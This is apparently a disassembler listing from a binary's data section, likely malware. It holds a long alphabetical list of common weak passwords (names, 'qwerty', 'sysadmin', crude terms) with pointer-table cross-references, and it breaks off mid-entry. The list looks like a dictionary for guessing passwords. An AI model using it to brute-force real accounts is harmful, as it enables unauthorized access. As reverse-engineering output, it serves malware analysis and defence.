___:00431034o aVideogam db 'videogam',0 ; DATA XREF: ___:00431030o align 4 aVideo db 'video',0 ; DATA XREF: sub_40EE72:loc_4135A2o ; ___:0043102Co align 10h aVictor db 'victor',0 ; DATA XREF: ___:00431028o align 4 aVicky db 'vicky',0 ; DATA XREF: ___:00431024o align 10h aVertigo db 'vertigo',0 ; DATA XREF: ___:00431020o aVeronica db 'veronica',0 ; DATA XREF: ___:0043101Co align 4 aVenus db 'venus',0 ; DATA XREF: ___:00431018o align 4 aVasant db 'vasant',0 ; DATA XREF: ___:00431014o align 4 aVampire db 'vampire',0 ; DATA XREF: ___:00431010o aValerie db 'valerie',0 ; DATA XREF: ___:0043100Co aVagina db 'vagina',0 ; DATA XREF: ___:00431008o align 4 aUucp db 'uucp',0 ; DATA XREF: ___:00431004o align 4 aUtility db 'utility',0 ; DATA XREF: ___:00431000o aUtil db 'util',0 ; DATA XREF: ___:00430FFCo align 4 aUsmc db 'usmc',0 ; DATA XREF: ___:00430FF8o align 4 aUsername db 'username',0 ; DATA XREF: ___:00430FF4o align 4 aUsermane db 'usermane',0 ; DATA XREF: ___:00430FF0o align 4 aUsenet db 'usenet',0 ; DATA XREF: ___:00430FECo align 4 aUrsula db 'ursula',0 ; DATA XREF: ___:00430FE8o align 4 aUrchin db 'urchin',0 ; DATA XREF: ___:00430FE4o align 4 aUranus db 'uranus',0 ; DATA XREF: ___:00430FE0o align 4 aUpload db 'upload',0 ; DATA XREF: ___:00430FDCo align 4 aUnlock db 'unlock',0 ; DATA XREF: ___:00430FD8o align 4 aUnknown_1 db 'unknown',0 ; DATA XREF: ___:00430FD4o aUniversi db 'universi',0 ; DATA XREF: ___:00430FD0o align 4 aUniverse db 'universe',0 ; DATA XREF: ___:00430FCCo align 4 aUniversa db 'universa',0 ; DATA XREF: ___:00430FC8o align 10h aUniform db 'uniform',0 ; DATA XREF: ___:00430FC4o aUnicorn db 'unicorn',0 ; DATA XREF: ___:00430FC0o aUnhappy db 'unhappy',0 ; DATA XREF: ___:00430FBCo aUndo db 'undo',0 ; DATA XREF: ___:00430FB8o align 10h aUncle db 'uncle',0 ; DATA XREF: ___:00430FB4o align 4 aUmesh db 'umesh',0 ; DATA XREF: ___:00430FB0o align 10h aUgly db 'ugly',0 ; DATA XREF: ___:00430FACo align 4 aTuttle db 'tuttle',0 ; DATA XREF: ___:00430FA8o align 10h aTurn db 'turn',0 ; DATA XREF: ___:00430FA4o align 4 aTuesday db 'tuesday',0 ; DATA XREF: ___:00430FA0o aTubas db 'tubas',0 ; DATA XREF: ___:00430F9Co align 4 aTruth db 'truth',0 ; DATA XREF: ___:00430F98o align 10h aTrue db 'true',0 ; DATA XREF: ___:00430F94o align 4 aTron db 'tron',0 ; DATA XREF: ___:00430F90o align 10h aTrombone db 'trombone',0 ; DATA XREF: ___:00430F8Co align 4 aTrojan db 'trojan',0 ; DATA XREF: ___:00430F88o align 4 aTrivial db 'trivial',0 ; DATA XREF: ___:00430F84o aTrisha db 'trisha',0 ; DATA XREF: ___:00430F80o align 4 aTrek db 'trek',0 ; DATA XREF: ___:00430F7Co align 4 aTree db 'tree',0 ; DATA XREF: ___:00430F78o align 4 aTrapdoor db 'trapdoor',0 ; DATA XREF: ___:00430F74o align 10h aTrap db 'trap',0 ; DATA XREF: ___:00430F70o align 4 aTransfer db 'transfer',0 ; DATA XREF: ___:00430F6Co align 4 aTrails db 'trails',0 ; DATA XREF: ___:00430F68o align 4 aTracy db 'tracy',0 ; DATA XREF: ___:00430F64o align 4 aTracie db 'tracie',0 ; DATA XREF: ___:00430F60o align 4 aTraci db 'traci',0 ; DATA XREF: ___:00430F5Co align 4 aToyota db 'toyota',0 ; DATA XREF: ___:00430F58o align 4 aToxic db 'toxic',0 ; DATA XREF: ___:00430F54o align 4 aTortoise db 'tortoise',0 ; DATA XREF: ___:00430F50o align 10h aTopograp db 'topograp',0 ; DATA XREF: ___:00430F4Co align 4 aTomato db 'tomato',0 ; DATA XREF: ___:00430F48o align 4 aTokenrin db 'tokenrin',0 ; DATA XREF: ___:00430F44o align 10h aToken db 'token',0 ; DATA XREF: ___:00430F40o align 4 aToggle db 'toggle',0 ; DATA XREF: ___:00430F3Co align 10h aToad db 'toad',0 ; DATA XREF: ___:00430F38o align 4 aTits db 'tits',0 ; DATA XREF: ___:00430F34o align 10h aTina db 'tina',0 ; DATA XREF: ___:00430F30o align 4 aTime db 'time',0 ; DATA XREF: ___:00430F2Co align 10h aTiger db 'tiger',0 ; DATA XREF: ___:00430F28o align 4 aTiffany db 'tiffany',0 ; DATA XREF: ___:00430F24o aThursday db 'thursday',0 ; DATA XREF: ___:00430F20o align 4 aThin db 'thin',0 ; DATA XREF: ___:00430F1Co align 4 aTheresa db 'theresa',0 ; DATA XREF: ___:00430F18o aThailand db 'thailand',0 ; DATA XREF: ___:00430F14o align 4 aText db 'text',0 ; DATA XREF: ___:00430F10o align 10h aTetris db 'tetris',0 ; DATA XREF: ___:00430F0Co align 4 aTess db 'tess',0 ; DATA XREF: ___:00430F08o align 10h aTerminat db 'terminat',0 ; DATA XREF: ___:00430F04o align 4 aTerminal db 'terminal',0 ; DATA XREF: ___:00430F00o align 4 aTera db 'tera',0 ; DATA XREF: ___:00430EFCo align 10h aTennis db 'tennis',0 ; DATA XREF: ___:00430EF8o align 4 aTemptati db 'temptati',0 ; DATA XREF: ___:00430EF4o align 4 aTelnet db 'telnet',0 ; DATA XREF: ___:00430EF0o align 4 aTelephon db 'telephon',0 ; DATA XREF: ___:00430EECo align 4 aTeenage db 'teenage',0 ; DATA XREF: ___:00430EE8o aTeen db 'teen',0 ; DATA XREF: ___:00430EE4o align 4 aTech db 'tech',0 ; DATA XREF: ___:00430EE0o align 10h aTears db 'tears',0 ; DATA XREF: ___:00430EDCo align 4 aTeapot db 'teapot',0 ; DATA XREF: ___:00430ED8o align 10h aTeam db 'team',0 ; DATA XREF: ___:00430ED4o align 4 aTaylor db 'taylor',0 ; DATA XREF: ___:00430ECCo align 10h aTarragon db 'tarragon',0 ; DATA XREF: ___:00430EC8o align 4 aTarget db 'target',0 ; DATA XREF: ___:00430EC4o align 4 aTara db 'tara',0 ; DATA XREF: ___:00430EC0o align 4 aTape db 'tape',0 ; DATA XREF: ___:00430EBCo align 4 aTango db 'tango',0 ; DATA XREF: ___:00430EB8o align 4 aTangerin db 'tangerin',0 ; DATA XREF: ___:00430EB4o align 4 aTammy db 'tammy',0 ; DATA XREF: ___:00430EB0o align 10h aTamie db 'tamie',0 ; DATA XREF: ___:00430EACo align 4 aTami db 'tami',0 ; DATA XREF: ___:00430EA8o align 10h aTamara db 'tamara',0 ; DATA XREF: ___:00430EA4o align 4 aTall db 'tall',0 ; DATA XREF: ___:00430EA0o align 10h aTalk db 'talk',0 ; DATA XREF: ___:00430E9Co align 4 aTabasco db 'tabasco',0 ; DATA XREF: ___:00430E98o aSysop db 'sysop',0 ; DATA XREF: ___:00430E94o align 4 aSysadmin db 'sysadmin',0 ; DATA XREF: ___:00430E90o align 4 aSymmetry db 'symmetry',0 ; DATA XREF: ___:00430E8Co align 10h aSybil db 'sybil',0 ; DATA XREF: ___:00430E88o align 4 aSword db 'sword',0 ; DATA XREF: ___:00430E84o align 10h aSwitch db 'switch',0 ; DATA XREF: ___:00430E80o align 4 aSweat db 'sweat',0 ; DATA XREF: ___:00430E7Co align 10h aSwearer db 'swearer',0 ; DATA XREF: ___:00430E78o aSuzie db 'suzie',0 ; DATA XREF: ___:00430E74o align 10h aSuzanne db 'suzanne',0 ; DATA XREF: ___:00430E70o aSusie db 'susie',0 ; DATA XREF: ___:00430E6Co align 10h aSusanne db 'susanne',0 ; DATA XREF: ___:00430E68o aSusan db 'susan',0 ; DATA XREF: ___:00430E64o align 10h aSurfing db 'surfing',0 ; DATA XREF: ___:00430E60o aSurfer db 'surfer',0 ; DATA XREF: ___:00430E5Co align 10h aSupporte db 'supporte',0 ; DATA XREF: ___:00430E58o align 4 aSupport db 'support',0 ; DATA XREF: ___:00430E54o aSupervis db 'supervis',0 ; DATA XREF: ___:00430E50o align 10h aSuperuse db 'superuse',0 ; DATA XREF: ___:00430E4Co align 4 aSupersta db 'supersta',0 ; DATA XREF: ___:00430E48o align 4 aSuperson db 'superson',0 ; DATA XREF: ___:00430E44o align 4 aSuperman db 'superman',0 ; DATA XREF: ___:00430E40o align 10h aSunday db 'sunday',0 ; DATA XREF: ___:00430E3Co align 4 aSummer db 'summer',0 ; DATA XREF: ___:00430E38o align 10h aSucks db 'sucks',0 ; DATA XREF: ___:00430E34o align 4 aSuckmydi db 'suckmydi',0 ; DATA XREF: ___:00430E30o align 4 aSuck db 'suck',0 ; DATA XREF: ___:00430E2Co align 4 aSuccess db 'success',0 ; DATA XREF: ___:00430E28o aSubway db 'subway',0 ; DATA XREF: ___:00430E24o align 4 aSubscrib db 'subscrib',0 ; DATA XREF: ___:00430E20o align 4 aStuttgar db 'stuttgar',0 ; DATA XREF: ___:00430E1Co align 4 aStrip db 'strip',0 ; DATA XREF: ___:00430E14o align 4 aString db 'string',0 ; DATA XREF: ___:00430E10o align 4 aStreetfi db 'streetfi',0 ; DATA XREF: ___:00430E0Co align 10h aStratfor db 'stratfor',0 ; DATA XREF: ___:00430E08o align 4 aStrangle db 'strangle',0 ; DATA XREF: ___:00430E04o align 4 aStrange db 'strange',0 ; DATA XREF: ___:00430E00o aStones db 'stones',0 ; DATA XREF: ___:00430DFCo align 4 aStoned db 'stoned',0 ; DATA XREF: ___:00430DF8o align 10h aStoneage db 'stoneage',0 ; DATA XREF: ___:00430DF4o align 4 aSteve db 'steve',0 ; DATA XREF: ___:00430DF0o align 4 aStereo db 'stereo',0 ; DATA XREF: ___:00430DECo align 4 aStephani db 'stephani',0 ; DATA XREF: ___:00430DE8o align 4 aSteph db 'steph',0 ; DATA XREF: ___:00430DE4o align 10h aSteel db 'steel',0 ; DATA XREF: ___:00430DE0o align 4 aSteal db 'steal',0 ; DATA XREF: ___:00430DDCo align 10h aSteak db 'steak',0 ; DATA XREF: ___:00430DD8o align 4 aStarwars db 'starwars',0 ; DATA XREF: ___:00430DD4o align 4 aStartup db 'startup',0 ; DATA XREF: ___:00430DD0o aStartrek db 'startrek',0 ; DATA XREF: ___:00430DCCo align 4 aStart db 'start',0 ; DATA XREF: sub_40EE72+2069o ; ___:00430DC8o align 10h aStarship db 'starship',0 ; DATA XREF: ___:00430DC4o align 4 aStar db 'star',0 ; DATA XREF: ___:00430DC0o align 4 aStacy db 'stacy',0 ; DATA XREF: ___:00430DBCo align 4 aStacie db 'stacie',0 ; DATA XREF: ___:00430DB8o align 4 aStaci db 'staci',0 ; DATA XREF: ___:00430DB4o align 4 aStacey db 'stacey',0 ; DATA XREF: ___:00430DB0o align 4 aSr71 db 'sr71',0 ; DATA XREF: ___:00430DACo align 4 aSquires db 'squires',0 ; DATA XREF: ___:00430DA8o aSpunk db 'spunk',0 ; DATA XREF: ___:00430DA4o align 4 aSpringer db 'springer',0 ; DATA XREF: ___:00430DA0o align 4 aSpring db 'spring',0 ; DATA XREF: ___:00430D9Co align 10h aSpred db 'spred',0 ; DATA XREF: ___:00430D98o align 4 aSpit db 'spit',0 ; DATA XREF: ___:00430D94o align 10h aSpiderma db 'spiderma',0 ; DATA XREF: ___:00430D90o align 4 aSpider db 'spider',0 ; DATA XREF: ___:00430D8Co align 4 aSpice db 'spice',0 ; DATA XREF: ___:00430D88o align 4 aSpell db 'spell',0 ; DATA XREF: ___:00430D84o align 4 aSpear db 'spear',0 ; DATA XREF: ___:00430D80o align 4 aSparrows db 'sparrows',0 ; DATA XREF: ___:00430D7Co align 4 aSpaceshi db 'spaceshi',0 ; DATA XREF: ___:00430D78o align 4 aSouth db 'south',0 ; DATA XREF: ___:00430D74o align 4 aSource db 'source',0 ; DATA XREF: ___:00430D70o align 4 aSossina db 'sossina',0 ; DATA XREF: ___:00430D6Co aSonya db 'sonya',0 ; DATA XREF: ___:00430D68o align 4 aSonic db 'sonic',0 ; DATA XREF: ___:00430D64o align 4 aSonia db 'sonia',0 ; DATA XREF: ___:00430D60o align 4 aSondra db 'sondra',0 ; DATA XREF: ___:00430D5Co align 4 aSomebody db 'somebody',0 ; DATA XREF: ___:00430D58o align 4 aSoftware db 'software',0 ; DATA XREF: ___:00430D54o align 4 aSoft db 'soft',0 ; DATA XREF: ___:00430D50o align 4 aSodomy db 'sodomy',0 ; DATA XREF: ___:00430D4Co align 4 aSocrates db 'socrates',0 ; DATA XREF: ___:00430D48o align 10h aSocial db 'social',0 ; DATA XREF: ___:00430D44o align 4 aSoap db 'soap',0 ; DATA XREF: ___:00430D40o align 10h aSnoopy db 'snoopy',0 ; DATA XREF: ___:00430D3Co align 4 aSnatch db 'snatch',0 ; DATA XREF: ___:00430D38o align 10h aSnake db 'snake',0 ; DATA XREF: ___:00430D34o align 4 aSnafu db 'snafu',0 ; DATA XREF: ___:00430D30o align 10h aSnach db 'snach',0 ; DATA XREF: ___:00430D2Co align 4 aSmut db 'smut',0 ; DATA XREF: ___:00430D28o align 10h aSmtp db 'smtp',0 ; DATA XREF: ___:00430D24o align 4 aSmother db 'smother',0 ; DATA XREF: ___:00430D20o aSmooch db 'smooch',0 ; DATA XREF: ___:00430D1Co align 4 aSmiles db 'smiles',0 ; DATA XREF: ___:00430D18o align 10h aSmile db 'smile',0 ; DATA XREF: ___:00430D14o align 4 aSmart db 'smart',0 ; DATA XREF: ___:00430D10o align 10h aSmall db 'small',0 ; DATA XREF: ___:00430D0Co align 4 aSlut db 'slut',0 ; DATA XREF: ___:00430D08o align 10h aSlow db 'slow',0 ; DATA XREF: ___:00430D04o align 4 aSliders db 'sliders',0 ; DATA XREF: ___:00430D00o aSlick db 'slick',0 ; DATA XREF: ___:00430CFCo align 4 aSlave db 'slave',0 ; DATA XREF: ___:00430CF8o align 10h aSkull db 'skull',0 ; DATA XREF: ___:00430CF4o align 4 aSite db 'site',0 ; DATA XREF: ___:00430CF0o align 10h aSingle db 'single',0 ; DATA XREF: ___:00430CECo align 4 aSinger db 'singer',0 ; DATA XREF: ___:00430CE8o align 10h aSimulati db 'simulati',0 ; DATA XREF: ___:00430CE4o align 4 aSimpsons db 'simpsons',0 ; DATA XREF: ___:00430CE0o align 4 aSimple db 'simple',0 ; DATA XREF: ___:00430CDCo align 10h aSimon db 'simon',0 ; DATA XREF: ___:00430CD8o align 4 aSimcity db 'simcity',0 ; DATA XREF: ___:00430CD4o aSilver db 'silver',0 ; DATA XREF: ___:00430CD0o align 4 aSignatur db 'signatur',0 ; DATA XREF: ___:00430CCCo align 4 aSierra db 'sierra',0 ; DATA XREF: ___:00430CC8o align 4 aSick db 'sick',0 ; DATA XREF: ___:00430CC4o align 4 aShuttle db 'shuttle',0 ; DATA XREF: ___:00430CC0o aShort db 'short',0 ; DATA XREF: ___:00430CBCo align 4 aShivers db 'shivers',0 ; DATA XREF: ___:00430CB8o aShiva db 'shiva',0 ; DATA XREF: ___:00430CB4o align 4 aShitpot db 'shitpot',0 ; DATA XREF: ___:00430CB0o aShit db 'shit',0 ; DATA XREF: ___:00430CACo align 4 aShirley db 'shirley',0 ; DATA XREF: ___:00430CA8o aShift db 'shift',0 ; DATA XREF: ___:00430CA4o align 4 aSherri db 'sherri',0 ; DATA XREF: ___:00430CA0o align 4 aShell db 'shell',0 ; DATA XREF: ___:00430C9Co align 4 aSheldon db 'sheldon',0 ; DATA XREF: ___:00430C98o aSheffiel db 'sheffiel',0 ; DATA XREF: ___:00430C94o align 4 aSharon db 'sharon',0 ; DATA XREF: ___:00430C90o align 10h aSharks db 'sharks',0 ; DATA XREF: ___:00430C8Co align 4 aShark db 'shark',0 ; DATA XREF: ___:00430C88o align 10h aSharc db 'sharc',0 ; DATA XREF: ___:00430C84o align 4 aShannon db 'shannon',0 ; DATA XREF: ___:00430C80o aSexy db 'sexy',0 ; DATA XREF: ___:00430C7Co align 4 aSesame db 'sesame',0 ; DATA XREF: ___:00430C78o align 10h aService db 'service',0 ; DATA XREF: ___:00430C74o aSerial_0 db 'serial',0 ; DATA XREF: ___:00430C70o align 10h aSerenity db 'serenity',0 ; DATA XREF: ___:00430C6Co align 4 aSentry db 'sentry',0 ; DATA XREF: ___:00430C68o align 4 aSentinel db 'sentinel',0 ; DATA XREF: ___:00430C64o align 10h aSensor db 'sensor',0 ; DATA XREF: ___:00430C60o align 4 aSega db 'sega',0 ; DATA XREF: ___:00430C5Co align 10h aSeed db 'seed',0 ; DATA XREF: ___:00430C58o align 4 aSecurity db 'security',0 ; DATA XREF: ___:00430C54o align 4 aSearch db 'search',0 ; DATA XREF: ___:00430C50o align 4 aScout db 'scout',0 ; DATA XREF: ___:00430C4Co align 4 aScotty db 'scotty',0 ; DATA XREF: ___:00430C48o align 4 aScott db 'scott',0 ; DATA XREF: ___:00430C44o align 4 aScorpion db 'scorpion',0 ; DATA XREF: ___:00430C40o align 10h aScifi db 'scifi',0 ; DATA XREF: ___:00430C3Co align 4 aSchoolsucks db 'schoolsucks',0 ; DATA XREF: ___:00430C38o aSchool db 'school',0 ; DATA XREF: ___:00430C34o align 4 aScheme db 'scheme',0 ; DATA XREF: ___:00430C30o align 4 aScamper db 'scamper',0 ; DATA XREF: ___:00430C2Co aSaxon db 'saxon',0 ; DATA XREF: ___:00430C28o align 4 aSaturn db 'saturn',0 ; DATA XREF: ___:00430C24o align 4 aSaturday db 'saturday',0 ; DATA XREF: ___:00430C20o align 4 aSarah db 'sarah',0 ; DATA XREF: ___:00430C1Co align 10h aSara db 'sara',0 ; DATA XREF: ___:00430C18o align 4 aSandy db 'sandy',0 ; DATA XREF: ___:00430C14o align 10h aSandra db 'sandra',0 ; DATA XREF: ___:00430C10o align 4 aSample db 'sample',0 ; DATA XREF: ___:00430C0Co align 10h aSamantha db 'samantha',0 ; DATA XREF: ___:00430C08o align 4 aSalt db 'salt',0 ; DATA XREF: ___:00430C04o align 4 aSale db 'sale',0 ; DATA XREF: ___:00430C00o align 4 aSalami db 'salami',0 ; DATA XREF: ___:00430BFCo align 4 aSafe db 'safe',0 ; DATA XREF: ___:00430BF8o align 4 aRuth db 'ruth',0 ; DATA XREF: ___:00430BF4o align 4 aRush db 'rush',0 ; DATA XREF: ___:00430BF0o align 4 aRunning_0 db 'running',0 ; DATA XREF: ___:00430BECo aRules db 'rules',0 ; DATA XREF: ___:00430BE8o align 4 aRude db 'rude',0 ; DATA XREF: ___:00430BE4o align 4 aRuby db 'ruby',0 ; DATA XREF: ___:00430BE0o align 4 aRuben db 'ruben',0 ; DATA XREF: ___:00430BDCo align 4 aRubber db 'rubber',0 ; DATA XREF: ___:00430BD8o align 4 aRough db 'rough',0 ; DATA XREF: ___:00430BD4o align 4 aRoses db 'roses',0 ; DATA XREF: ___:00430BD0o align 4 aRosemary db 'rosemary',0 ; DATA XREF: ___:00430BCCo align 4 aRosebud db 'rosebud',0 ; DATA XREF: ___:00430BC8o aRose db 'rose',0 ; DATA XREF: ___:00430BC4o align 4 aRonald db 'ronald',0 ; DATA XREF: ___:00430BC0o align 10h aRomulan db 'romulan',0 ; DATA XREF: ___:00430BBCo aRomeo db 'romeo',0 ; DATA XREF: ___:00430BB8o align 10h aRomano db 'romano',0 ; DATA XREF: ___:00430BB4o align 4 aRolex db 'rolex',0 ; DATA XREF: ___:00430BB0o align 10h aRodent db 'rodent',0 ; DATA XREF: ___:00430BACo align 4 aRockyhor db 'rockyhor',0 ; DATA XREF: ___:00430BA8o align 4 aRocky db 'rocky',0 ; DATA XREF: ___:00430BA4o align 4 aRock db 'rock',0 ; DATA XREF: ___:00430BA0o align 4 aRocheste db 'rocheste',0 ; DATA XREF: ___:00430B9Co align 10h aRochelle db 'rochelle',0 ; DATA XREF: ___:00430B98o align 4 aRobyn db 'robyn',0 ; DATA XREF: ___:00430B94o align 4 aRobotics db 'robotics',0 ; DATA XREF: ___:00430B90o align 10h aRobot db 'robot',0 ; DATA XREF: ___:00430B8Co align 4 aRobin db 'robin',0 ; DATA XREF: ___:00430B88o align 10h aRobert db 'robert',0 ; DATA XREF: ___:00430B84o align 4 aRoach db 'roach',0 ; DATA XREF: ___:00430B80o align 10h aRisc db 'risc',0 ; DATA XREF: ___:00430B7Co align 4 aRipple db 'ripple',0 ; DATA XREF: ___:00430B78o align 10h aRiot db 'riot',0 ; DATA XREF: ___:00430B74o align 4 aRing db 'ring',0 ; DATA XREF: ___:00430B70o align 10h aRightwin db 'rightwin',0 ; DATA XREF: ___:00430B6Co align 4 aRight db 'right',0 ; DATA XREF: ___:00430B68o align 4 aRiffraff db 'riffraff',0 ; DATA XREF: ___:00430B64o align 10h aRick db 'rick',0 ; DATA XREF: ___:00430B60o align 4 aRich db 'rich',0 ; DATA XREF: ___:00430B5Co align 10h aRhino db 'rhino',0 ; DATA XREF: ___:00430B58o align 4 aReveal db 'reveal',0 ; DATA XREF: ___:00430B54o align 10h aResistan db 'resistan',0 ; DATA XREF: ___:00430B50o align 4 aRepublic db 'republic',0 ; DATA XREF: ___:00430B4Co align 4 aReport db 'report',0 ; DATA XREF: ___:00430B48o align 10h aRent db 'rent',0 ; DATA XREF: ___:00430B44o align 4 aReno db 'reno',0 ; DATA XREF: ___:00430B40o align 10h aRenee db 'renee',0 ; DATA XREF: ___:00430B3Co align 4 aRemote db 'remote',0 ; DATA XREF: ___:00430B38o align 10h aRelease db 'release',0 ; DATA XREF: ___:00430B34o aRegional db 'regional',0 ; DATA XREF: ___:00430B30o align 4 aReferenc db 'referenc',0 ; DATA XREF: ___:00430B2Co align 10h aRedhead db 'redhead',0 ; DATA XREF: ___:00430B28o aReddawn db 'reddawn',0 ; DATA XREF: ___:00430B24o aRecord db 'record',0 ; DATA XREF: ___:00430B20o align 4 aRebel db 'rebel',0 ; DATA XREF: ___:00430B1Co align 10h aRebecca db 'rebecca',0 ; DATA XREF: ___:00430B18o aRebal db 'rebal',0 ; DATA XREF: ___:00430B14o align 10h aReaper db 'reaper',0 ; DATA XREF: ___:00430B10o align 4 aReam db 'ream',0 ; DATA XREF: ___:00430B0Co align 10h aReally db 'really',0 ; DATA XREF: ___:00430B08o align 4 aReality db 'reality',0 ; DATA XREF: ___:00430B04o aReagan db 'reagan',0 ; DATA XREF: ___:00430B00o align 4 aRazor db 'razor',0 ; DATA XREF: ___:00430AFCo align 10h aRascal db 'rascal',0 ; DATA XREF: ___:00430AF8o align 4 aRape db 'rape',0 ; DATA XREF: ___:00430AF4o align 10h aRaleigh db 'raleigh',0 ; DATA XREF: ___:00430AECo aRaindrop db 'raindrop',0 ; DATA XREF: ___:00430AE8o align 4 aRainbow db 'rainbow',0 ; DATA XREF: ___:00430AE4o aRain db 'rain',0 ; DATA XREF: ___:00430AE0o align 4 aRaid db 'raid',0 ; DATA XREF: ___:00430ADCo align 4 aRachmani db 'rachmani',0 ; DATA XREF: ___:00430AD8o align 4 aRachelle db 'rachelle',0 ; DATA XREF: ___:00430AD4o align 4 aRachel db 'rachel',0 ; DATA XREF: ___:00430AD0o align 4 aRabbit db 'rabbit',0 ; DATA XREF: ___:00430ACCo align 4 aQwerty db 'qwerty',0 ; DATA XREF: ___:00430AC8o align 4 aQwert db 'qwert',0 ; DATA XREF: ___:00430AC4o align 4 aQuebec db 'quebec',0 ; DATA XREF: ___:00430AC0o align 4 aPussy db 'pussy',0 ; DATA XREF: ___:00430ABCo align 4 aPuppet db 'puppet',0 ; DATA XREF: ___:00430AB8o align 4 aPunk db 'punk',0 ; DATA XREF: ___:00430AB4o align 4 aPunisher db 'punisher',0 ; DATA XREF: ___:00430AB0o align 10h aPuneet db 'puneet',0 ; DATA XREF: ___:00430AACo align 4 aPumpkin db 'pumpkin',0 ; DATA XREF: ___:00430AA8o aPuke db 'puke',0 ; DATA XREF: ___:00430AA4o align 4 aPuck db 'puck',0 ; DATA XREF: ___:00430AA0o align 10h aPublic db 'public',0 ; DATA XREF: ___:00430A9Co align 4 aPsychopa db 'psychopa',0 ; DATA XREF: ___:00430A98o align 4 aPsycho db 'psycho',0 ; DATA XREF: ___:00430A94o align 4 aProtozoa db 'protozoa',0 ; DATA XREF: ___:00430A90o align 4 aProtect db 'protect',0 ; DATA XREF: ___:00430A8Co aPrompt db 'prompt',0 ; DATA XREF: ___:00430A88o align 4 aProgram db 'program',0 ; DATA XREF: ___:00430A84o aProfile db 'profile',0 ; DATA XREF: ___:00430A80o aProfesso db 'professo',0 ; DATA XREF: ___:00430A7Co align 4 aProcesso db 'processo',0 ; DATA XREF: ___:00430A78o align 10h aProceed db 'proceed',0 ; DATA XREF: ___:00430A74o aPrivs db 'privs',0 ; DATA XREF: ___:00430A70o align 10h aPrivate db 'private',0 ; DATA XREF: ___:00430A6Co aPriv db 'priv',0 ; DATA XREF: ___:00430A68o align 10h aPrinter db 'printer',0 ; DATA XREF: ___:00430A64o aPrinceto db 'princeto',0 ; DATA XREF: ___:00430A60o align 4 aPrince db 'prince',0 ; DATA XREF: ___:00430A5Co align 4 aPresto db 'presto',0 ; DATA XREF: ___:00430A58o align 4 aPrelude db 'prelude',0 ; DATA XREF: ___:00430A54o aPrecious db 'precious',0 ; DATA XREF: ___:00430A50o align 4 aPraise db 'praise',0 ; DATA XREF: ___:00430A4Co align 10h aPower db 'power',0 ; DATA XREF: ___:00430A48o align 4 aPoster db 'poster',0 ; DATA XREF: ___:00430A44o align 10h aPost db 'post',0 ; DATA XREF: ___:00430A40o align 4 aPorsche db 'porsche',0 ; DATA XREF: ___:00430A3Co aPorno db 'porno',0 ; DATA XREF: ___:00430A38o align 4 aPorn db 'porn',0 ; DATA XREF: ___:00430A34o align 10h aPork db 'pork',0 ; DATA XREF: ___:00430A30o align 4 aPoor db 'poor',0 ; DATA XREF: ___:00430A2Co align 10h aPoop db 'poop',0 ; DATA XREF: ___:00430A28o align 4 aPonderin db 'ponderin',0 ; DATA XREF: ___:00430A24o align 4 aPolynomi db 'polynomi',0 ; DATA XREF: ___:00430A20o align 10h aPolly db 'polly',0 ; DATA XREF: ___:00430A1Co align 4 aPolice db 'police',0 ; DATA XREF: ___:00430A18o align 10h aPoetry db 'poetry',0 ; DATA XREF: ___:00430A14o align 4 aPlymouth db 'plymouth',0 ; DATA XREF: ___:00430A10o align 4 aPluto db 'pluto',0 ; DATA XREF: ___:00430A0Co align 4 aPlover db 'plover',0 ; DATA XREF: ___:00430A08o align 4 aPlayboy db 'playboy',0 ; DATA XREF: ___:00430A04o aPlane db 'plane',0 ; DATA XREF: ___:00430A00o align 4 aPizza db 'pizza',0 ; DATA XREF: ___:004309FCo align 4 aPiss db 'piss',0 ; DATA XREF: ___:004309F8o align 4 aPinname db 'pinname',0 ; DATA XREF: ___:004309F4o aPimp db 'pimp',0 ; DATA XREF: ___:004309F0o align 4 aPierre db 'pierre',0 ; DATA XREF: ___:004309ECo align 4 aPick db 'pick',0 ; DATA XREF: ___:004309E8o align 4 aPhuck db 'phuck',0 ; DATA XREF: ___:004309E4o align 4 aPhreak db 'phreak',0 ; DATA XREF: ___:004309E0o align 4 aPhrase db 'phrase',0 ; DATA XREF: ___:004309DCo align 4 aPhrack db 'phrack',0 ; DATA XREF: ___:004309D8o align 4 aPhoton db 'photon',0 ; DATA XREF: ___:004309D4o align 4 aPhone db 'phone',0 ; DATA XREF: ___:004309D0o align 4 aPhoenix db 'phoenix',0 ; DATA XREF: ___:004309CCo aPhilip db 'philip',0 ; DATA XREF: ___:004309C8o align 4 aPhil db 'phil',0 ; DATA XREF: ___:004309C4o align 4 aPeter db 'peter',0 ; DATA XREF: ___:004309C0o align 4 aPete db 'pete',0 ; DATA XREF: ___:004309BCo align 4 aPervert db 'pervert',0 ; DATA XREF: ___:004309B8o aPersona db 'persona',0 ; DATA XREF: ___:004309B4o aPersimmo db 'persimmo',0 ; DATA XREF: ___:004309B0o align 4 aPermit db 'permit',0 ; DATA XREF: ___:004309ACo align 10h aPerfect db 'perfect',0 ; DATA XREF: ___:004309A8o aPercolat db 'percolat',0 ; DATA XREF: ___:004309A4o align 4 aPepper db 'pepper',0 ; DATA XREF: ___:004309A0o align 4 aPeoria db 'peoria',0 ; DATA XREF: ___:0043099Co align 4 aPentium db 'pentium',0 ; DATA XREF: ___:00430998o aPenthous db 'penthous',0 ; DATA XREF: ___:00430994o align 4 aPentagra db 'pentagra',0 ; DATA XREF: ___:00430990o align 4 aPentagon db 'pentagon',0 ; DATA XREF: ___:0043098Co align 10h aPenname db 'penname',0 ; DATA XREF: ___:00430988o aPenis db 'penis',0 ; DATA XREF: ___:00430984o align 10h aPenguin db 'penguin',0 ; DATA XREF: ___:00430980o aPenelope db 'penelope',0 ; DATA XREF: ___:0043097Co align 4 aPencil db 'pencil',0 ; DATA XREF: ___:00430978o align 4 aPecker db 'pecker',0 ; DATA XREF: ___:00430974o align 4 aPeanuts db 'peanuts',0 ; DATA XREF: ___:00430970o aPaula db 'paula',0 ; DATA XREF: ___:0043096Co align 4 aPatty db 'patty',0 ; DATA XREF: ___:00430968o align 4 aPatriot db 'patriot',0 ; DATA XREF: ___:00430964o aPatricia db 'patricia',0 ; DATA XREF: ___:00430960o align 10h aPaste db 'paste',0 ; DATA XREF: ___:0043095Co align 4 aPassphra db 'passphra',0 ; DATA XREF: ___:00430958o align 4 aPascal db 'pascal',0 ; DATA XREF: ___:00430954o align 4 aPapers db 'papers',0 ; DATA XREF: ___:00430950o align 4 aPaper db 'paper',0 ; DATA XREF: ___:0043094Co align 4 aPapa db 'papa',0 ; DATA XREF: ___:00430948o align 4 aPamela db 'pamela',0 ; DATA XREF: ___:00430944o align 4 aPakistan db 'pakistan',0 ; DATA XREF: ___:00430940o align 4 aPaint db 'paint',0 ; DATA XREF: ___:0043093Co align 10h aPainless db 'painless',0 ; DATA XREF: 